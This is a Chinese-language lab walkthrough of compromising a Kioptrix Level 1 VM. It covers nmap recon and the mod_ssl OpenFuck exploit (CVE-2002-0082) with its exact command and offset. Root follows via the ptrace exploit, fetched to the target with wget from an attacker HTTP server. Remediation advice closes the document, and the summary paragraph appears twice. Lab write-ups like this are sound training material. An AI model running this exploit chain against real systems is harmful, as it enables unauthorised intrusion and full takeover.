通过识别并利用配置错误和过时软件,获得了 root 级别访问权限。利用过时版本 mod_ssl 中的缓冲区溢出漏洞(CVE-2002-0082)。随后通过利用 Linux 内核 "ptrace" 工具中的竞态条件(CVE-2003-0127)实现了权限提升。
通过识别并利用错误配置和过时软件,获得了 root 级别的访问权限。过时版本的 mod_ssl(CVE-2002-0082)中存在缓冲区溢出漏洞。随后,通过利用 Linux 内核 "ptrace" 工具中的竞争条件(CVE-2003-0127),进一步实现了权限提升。
第一阶段:侦察与枚举 第一步是识别目标在 192.168.56.0/24 子网上的 IP 地址。
主机发现:
sudo nmap -sn 192.168.56.0/24
结果:目标被识别为 192.168.56.105。
端口扫描与服务枚举: 执行了一次全面的 Nmap 扫描,以识别开放端口、运行中的服务以及操作系统详细信息。
sudo nmap -sS -sV -O -p- -oA lab_full_scan1 192.168.56.105
关键发现:
Port 80/tcp & 443/tcp:运行 Apache httpd 1.3.20,带有 mod_ssl/2.8.4 和 OpenSSL/0.9.6b。
Port 22/tcp:运行 OpenSSH 2.9p2。
Port 139/tcp:运行 Samba smbd。
操作系统检测:Linux 内核 2.4.X(可能是 2.4.9 - 2.4.18)。
过时版本的 Apache 和 mod_ssl 立即呈现出一种高概率的初始访问入侵途径。
第二阶段:初始访问(漏洞利用)
通过 searchsploit 利用数据库确认 mod_ssl 2.8.4 存在一个众所周知的远程缓冲区溢出漏洞。
searchsploit mod_ssl 2.8
我确定 OpenFuckV2.c 漏洞利用程序(EDB-ID: 47080)是针对该漏洞最可靠的载荷。我将该漏洞利用程序镜像到本地主机,并使用必要的加密库对其进行了编译。
漏洞利用程序编译:
searchsploit -m 47080 gcc -o OpenFuck 47080.c -lcrypto
不带参数运行编译后的二进制文件,会提供一系列支持的偏移量。通过将偏移量与目标特定的操作系统和 Apache 版本(Red-Hat Linux, Apache 1.3.20)进行匹配,我确定正确的偏移量为 0x6b。
执行:
./OpenFuck 0x6b 192.168.56.105 443 -c 40
该漏洞利用程序成功触发了缓冲区溢出,获得了 apache 用户的低权限 shell。
bash-2.05$ whoami apache
第三阶段:权限提升
方法论说明:OpenFuck 漏洞利用程序会尝试使用 wget 从远程服务器自动下载一个辅助性的权限提升载荷(ptrace-kmod.c)。然而,由于目标环境没有出站互联网访问权限,这个自动化步骤失败了(解析为 Host not found)。我转而进行手动枚举和利用。
系统枚举:
bash-2.05$ uname -a Linux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown
该系统运行的内核版本 2.4.7-10 极易受到攻击。搜索针对该特定 Linux 内核的漏洞利用程序时,发现了一个利用 ptrace/kmod 的本地权限提升漏洞。
载荷部署: 我在本地找到了该漏洞利用程序(EDB-ID: 3),并在攻击机上通过 Python HTTP 服务器对其进行托管,以便传输。
攻击机主机:
searchsploit -m 3 python3 -m http.server 8000
目标机器:
cd /tmp wget http://192.168.56.1:8000/3.c
3.c 源代码被成功传输到目标的 /tmp 目录,我在目标机器上对其进行了本地编译并执行。
执行与 Root 权限沦陷:
gcc 3.c -o exploit
./exploit
whoami
root
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
ptrace 竞争条件被成功利用,权限从 apache 守护进程提升至 root。实现了对系统的完全控制。
第四阶段:修复措施 为了确保系统免受已利用漏洞的侵害:
更新 Web 服务:必须将 Apache 服务器更新到最新的稳定版本,以修补 CVE-2002-0082 缓冲区溢出漏洞,该漏洞允许未经身份验证的远程代码执行。
内核补丁:Linux 内核(2.4.7-10)存在多个本地权限提升漏洞,包括 ptrace(kmod)竞争条件。操作系统内核必须升级到受支持的现代版本。
网络分段与出站过滤:服务器应置于防火墙之后,以限制不必要的出站流量。虽然在此离线实验室环境中自动 wget 失败了,但在真实环境中,出站过滤将防止被入侵的 Web 应用从互联网拉取辅助性恶意载荷。